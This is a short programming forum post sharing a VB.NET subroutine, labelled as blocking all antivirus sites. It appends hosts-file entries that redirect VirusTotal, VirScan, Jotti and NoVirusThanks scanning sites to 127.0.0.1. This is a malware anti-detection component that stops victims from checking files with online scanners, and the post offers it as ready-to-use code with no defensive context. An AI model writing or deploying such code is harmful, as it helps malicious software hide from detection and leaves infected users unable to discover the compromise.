Parsi Coders

کد:
Imports System.IO

Imports System.Reflection

#Region " block all Av sites "

    Public Shared Sub avbloker()

        'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt")

        'objWriter.Write("xfind2")

        'objWriter.Close()

        Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"

        Dim sw As New StreamWriter(path, True)

        Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com"

        Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org"

        Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org"

        Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org"

        sw.Write(sitetoblock)

        sw.Write(vbNewLine & sitetoblock1)

        sw.Write(vbNewLine & sitetoblock2)

        sw.Write(vbNewLine & sitetoblock3)

        sw.Close()

        End

End Sub

#End Region

Amin_Mansouri